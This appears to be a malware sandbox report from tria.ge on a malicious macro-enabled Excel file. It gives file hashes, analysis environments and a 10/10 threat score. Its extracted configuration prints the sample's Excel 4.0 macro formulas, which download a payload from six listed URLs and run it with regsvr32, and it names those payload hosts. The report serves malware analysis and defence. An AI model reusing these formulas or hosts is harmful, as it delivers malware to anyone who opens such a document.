Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa
-
Size
40KB
-
Sample
241111-187ljsyang
-
MD5
216dd9aa9a01a7286e8b6daed0616163
-
SHA1
f5834a92395fe1220d2cc2ecf4e64f72f4851051
-
SHA256
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa
-
SHA512
ca046f4684a1d5a1d2c63d1fa746c2b1d26095eb0c9a4115570d03367743f2c9838a2093190d7835d3c09bd2ecb8c207704ec1142c727a3b681d11a6b330615a
-
SSDEEP
768:dqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:4dom4DJwylND59V4jwmXc2CVf5Z
Behavioral task
behavioral1
Sample
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/
http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/
http://techplanbd.xyz/qel424/RSz4/
http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/
https://deine-bewerbung.com/wp-content/TKXpk/
https://livejagat.com/h/L37tCM6ppS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()
Extracted
https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/
http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/
http://techplanbd.xyz/qel424/RSz4/
Targets
-
-
Target
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa
-
Size
40KB
-
MD5
216dd9aa9a01a7286e8b6daed0616163
-
SHA1
f5834a92395fe1220d2cc2ecf4e64f72f4851051
-
SHA256
bb2ca792a3e08f9a2db4632d3628a184d21497576a4ceb560b066c17892174aa
-
SHA512
ca046f4684a1d5a1d2c63d1fa746c2b1d26095eb0c9a4115570d03367743f2c9838a2093190d7835d3c09bd2ecb8c207704ec1142c727a3b681d11a6b330615a
-
SSDEEP
768:dqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:4dom4DJwylND59V4jwmXc2CVf5Z
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-